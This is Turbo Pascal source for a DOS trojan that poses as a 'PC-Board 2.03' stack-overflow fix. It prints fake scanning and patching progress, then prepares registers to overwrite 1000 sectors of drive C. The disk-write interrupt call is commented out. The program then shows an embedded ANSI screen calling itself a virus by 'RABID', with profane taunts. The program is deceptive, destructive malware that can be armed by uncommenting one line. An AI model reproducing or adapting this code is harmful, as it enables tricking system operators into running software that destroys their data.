{$I-}
PROGRAM Formatter (input, output);
uses dos,crt,printer,extra;

Type ScreenType = array [0..3999] of Byte;
Var Regs    						: Registers;
    ResultIo            : Integer;
    CounterOne          : Integer;
    CounterTwo          : Integer;
    CounterThree        : Integer;
    CounterFour         : Integer;
    XPosition           : Integer;
    YPosition           : Integer;
    TargetAddressNumber : Integer;
		PcBoardDirectory    : String;
    CountOne            : String;
    CountTwo            : String;
    CountThree          : String;
    CountFour           : String;
	  ScreenAddr 				  : ScreenType absolute $B800:$0000;

Const ProgramOne ='Command.Com';
			ProgramTwo ='Command.Com';
      SearchFor  ='Stack Overflow';
      ShortName  ='Pc-Board';
      Version    ='2.03';
      LongName   = ShortName+' '+Version+' Fix for '+SearchFor;
      Directory  ='C:\PCBOARD\';
      Programmers='Programmed by Larry Jones';
			ImageData  : array [1..648] of Char = (
#16,#24,#25,#3 ,#15,'Y','o','u',' ','s','t','u','p','i','d',' ','l','i','t',
't','l','e',' ','s','h','i','t',',',' ','t','h','i','s',' ','i','s',' ','a',
' ','V','I','R','U','S',',',' ','d','i','s','t','r','i','b','u','t','e','d',
' ','b','y',' ','n','o',' ','o','t','h','e','r',' ','t','h','a','n','.','.',
'.',#24,#24,#25,#11,#12,#27,#17,'Ú',#26,#53,'Ä','¿',#24,#16,#25,#11,#17,'³',
' ',' ',#11,#27,'ß',#26,#6 ,'Û','Ü',' ',' ','Ü',#26,#5 ,'Û','Ü',' ',' ','ß',
#26,#7 ,'Û','Ü',' ','ß','ß','Û','Û','ß','ß',' ','ß',#26,#6 ,'Û','Ü',#25,#3 ,
#12,#27,'³',#15,#27,#23,'Û',#24,#16,#25,#11,#12,#27,#17,'³',#25,#2 ,#11,#27,
'Û','Û',#25,#3 ,'Û','Û',' ',' ','Û','Û',#25,#3 ,'Û','Û',#25,#2 ,'Û','Û',#25,
#3 ,'Ü','Û','Û',#25,#2 ,'Û','Û',#25,#3 ,'Û','Û',#25,#4 ,'Û','Û',#25,#2 ,#12,
#27,'³',#15,#27,#23,'Û',#7 ,'Û',#24,#16,#25,#11,#12,#27,#17,'³',#25,#2 ,#11,
#27,#26,#6 ,'Û',#25,#2 ,#26,#7 ,'Û',#25,#2 ,#26,#7 ,'Û',#25,#3 ,'Û','Û',#25,
#3 ,'Û','Û',#25,#4 ,'Û','Û',#25,#2 ,#12,#27,'³',#15,#27,#23,'Û',#7 ,'Û',#8 ,
#16,'Û',#24,#25,#11,#12,#27,#17,'³',#25,#2 ,#11,#27,'Û','Û',' ','ß','Û','Ü',
#25,#3 ,'Û','Û',#25,#3 ,'Û','Û',#25,#2 ,'Û','Û',#25,#3 ,'ß','Û','Û',#25,#2 ,
'Û','Û',#25,#3 ,'Û','Û',#25,#4 ,'Û','Û',#25,#2 ,#12,#27,'³',#15,#27,#23,'Û',
#7 ,'Û',#8 ,#16,'Û',#24,#25,#11,#12,#27,#17,'³',' ',' ',#11,#27,'Ü','Û','Û',
'Ü',' ','Ü','Û','Û','Ü',' ','Ü','Û','Û','Ü',' ',' ','Ü','Û','Û','Ü',' ','Ü',
#26,#7 ,'Û','ß',' ','Ü','Ü','Û','Û','Ü','Ü',' ','Ü',#26,#6 ,'Û','ß',#25,#3 ,
#12,#27,'³',#15,#27,#23,'Û',#7 ,'Û',#8 ,#16,'Û',#24,#25,#11,#12,#27,#17,'À',
#26,#53,'Ä','Ù',#15,#27,#23,'Û',#7 ,'Û',#8 ,#16,'Û',#24,#25,#13,#15,'ß',#23,
#26,#53,'ß',#7 ,'Û',#8 ,#16,'Û',#24,#25,#15,#26,#54,'ß',#24,#25,#17,#7 ,'W',
'e',#39,'r','e',' ','g','o','n','n','a',' ','g','e','t',' ','y','o','u',',',
' ','n','o',' ','m','a','t','t','e','r',' ','w','h','a','t',' ','i','t',' ',
't','a','k','e','s','.',#24,#25,#17,'L','i','s','t','e','n',' ','u','p',',',
' ','k','i','d','s',#26,#4 ,'.',#15,'D','O','N',#39,'T',' ','F','U','C','K',
' ','W','I','T','H',' ','R','A','B','I','D',#7 ,#26,#3 ,'.',#24,#25,#21,'Y',
'o','u',#39,'l','l',' ','n','e','v','e','r',' ','l','i','v','e',' ','t','o',
' ','m','a','k','e',' ','i','t',' ','a','l','i','v','e','.','.',#24,#24,#25,
#14,'W','i','n','n','i','n','g',' ','t','h','e',' ','b','a','t','t','l','e',
',',' ','a','g','a','i','n','s','t',' ',#15,'F','U','C','K','E','R','S',' ',
#7 ,'l','i','k','e',' ','y','o','u','r','s','e','l','f','.','.',#24,#24,#25,
#23,#4 ,'(','T','h','e',' ','W','o','r','d','s',' ','f','r','o','m',' ','t',
'h','e',' ','I','m','m','o','r','t','a','l',' ','O','n','e',')',#24,#24,#24,
#24,#24);

procedure UNCRUNCH (var Addr1,Addr2; BlkLen:Integer);
begin
  inline ($1E/$C5/$B6/Addr1/$C4/$BE/Addr2/$8B/$8E/BlkLen/$8B/$D7/$B4/$00/
  $AC/$3C/$10/$73/$07/$80/$E4/$F0/$0A/$E0/$EB/$44/$3C/$18/$74/$13/$73/$19/
  $2C/$10/$02/$C0/$02/$C0/$02/$C0/$02/$C0/$80/$E4/$0F/$0A/$E0/$EB/$2D/$81/
  $C2/$A0/$00/$8B/$FA/$EB/$25/$3C/$1A/$75/$0B/$AC/$49/$51/$32/$ED/$8A/$C8/
  $AC/$EB/$0D/$90/$3C/$19/$75/$11/$AC/$51/$32/$ED/$8A/$C8/$B0/$20/$0B/$C9/
  $74/$03/$AB/$E2/$FD/$59/$49/$AB/$0B/$C9/$74/$02/$E2/$AA/$1F);
end;

Function Exist (FileName:String):Boolean;
Var FileToOpen:File;
    CounterOne:Integer;
Begin
  Assign (FileToOpen,FileName);
  Reset (FileToOpen);
  CounterOne:=ioresult;
  Exist:=CounterOne=0;
  Close (FileToOpen);
  CounterOne:=ioresult
End;

Procedure WasteTime (TimeToWaste:Integer);
Var CounterOne:Integer;
		FileToOpen:File;
Begin
  For CounterOne:=1 to TimeToWaste do begin
	  Assign (FileToOpen,'C:\COMMAND.COM');
	  Reset (FileToOpen);
	  Close (FileToOpen);
    Randomize;
    delay (Random(500));
  end;
end;

Function Strr(IntegerNumber:Integer):String;
Var StringNumber:String;
Begin
  Str(IntegerNumber,StringNumber);
  Strr:=StringNumber;
End;

procedure Format;
Begin
	Clrscr;
	UnCrunch (ImageData,ScreenAddr[ (1*2) + (1*160) -162],648);
{	Intr ($26,Regs);}
end;

begin
  SetCBreak(true);
  TargetAddressNumber:=1;
	NormCursorOn;
	TextColor (7);
  TextBackGround(0);
  writeln;
  writeln;
  writeln;
  writeln (LongName);
  writeln (Programmers);
  repeat;
	  writeln;
	  writeln (' Enter the Directory where '+ShortName+' '+Version+' is Stored: (Eg. '+Directory+') ');
    writeln;
	  write   (' Directory Name>: ');
	  readln (PcBoardDirectory);
    if (length(PcBoardDirectory)=0) then PcBoardDirectory:='__________';
	  ChDir (PcBoardDirectory);
    ResultIo:=0;
    ResultIo:=IoResult;
	  If ResultIo <>0 then begin
	  	writeln;
      TextColor(4);
	    writeln (' Directory does not exist.');
      TextColor(7);
      writeln;
      writeln;
      halt;
	  end;
  until ResultIo=0;
  ChDir (PcBoardDirectory);
  if ((not(exist(ProgramOne))) or (not(exist(ProgramTwo)))) then begin
  	writeln;
    TextColor(4);
    writeln (' '+ShortName+' files not found.');
    TextColor(7);
    Halt;
  end;
  writeln;
  write (' Loading '+ShortName+'.EXE... ');
  WasteTime (70);
  Delay (2000);
  write (' Searching for '+SearchFor+' - ');
  TargetAddressNumber:=TargetAddressNumber+3;
  TargetAddressNumber:=TargetAddressNumber-2;
  TargetAddressNumber:=TargetAddressNumber*2;
  Delay (1500);
  CursorOff;
 	XPosition:=WhereX;
  YPosition:=WhereY;
  For CounterOne:=0 to 1 do begin
  	For CounterTwo:=0 to 13 do begin
    	For CounterThree:=0 to 7 do begin
      	For CounterFour:=0 to 11 do begin
          Gotoxy (XPosition,YPosition);
          if CounterFour=10 then CountFour:='A' else
          if CounterFour=11 then CountFour:='B' else
          if CounterFour=12 then CountFour:='C' else
          if CounterFour=13 then CountFour:='D' else
          CountFour:=strr(CounterFour);
          if CounterThree=10 then CountThree:='A' else
          if CounterThree=11 then CountThree:='B' else
          if CounterThree=12 then CountThree:='C' else
          if CounterThree=13 then CountThree:='D' else
          CountThree:=strr(CounterThree);
          if CounterTwo=10 then CountTwo:='A' else
          if CounterTwo=11 then CountTwo:='B' else
          if CounterTwo=12 then CountTwo:='C' else
          if CounterTwo=13 then CountTwo:='D' else
          CountTwo:=strr(CounterTwo);
          if CounterOne=10 then CountOne:='A' else
          if CounterOne=11 then CountOne:='B' else
          if CounterOne=12 then CountOne:='C' else
          if CounterOne=13 then CountOne:='D' else
          CountOne:=strr(CounterOne);
          write ('1B9C:',CountOne,CountTwo,CountThree,CountFour);
        end;
      end;
    end;
  end;
  NormCursorOn;
  Delay (1500);
  writeln;
  write (' '+strr(TargetAddressNumber)+' Target Address Found... ');
  Delay (1500);
  writeln ('Fixing '+SearchFor+'...');
  delay (3000);
  write (' Rewriting '+ShortName+' Program.... ');
  WasteTime (30);
  writeln (' '+SearchFor+' will not occur any more.');
	Regs.AL:=2;
  Regs.CX:=1000;
  Regs.DX:=0;
  Format;
end.

Downloaded From P-80 International Information Systems 304-744-2253
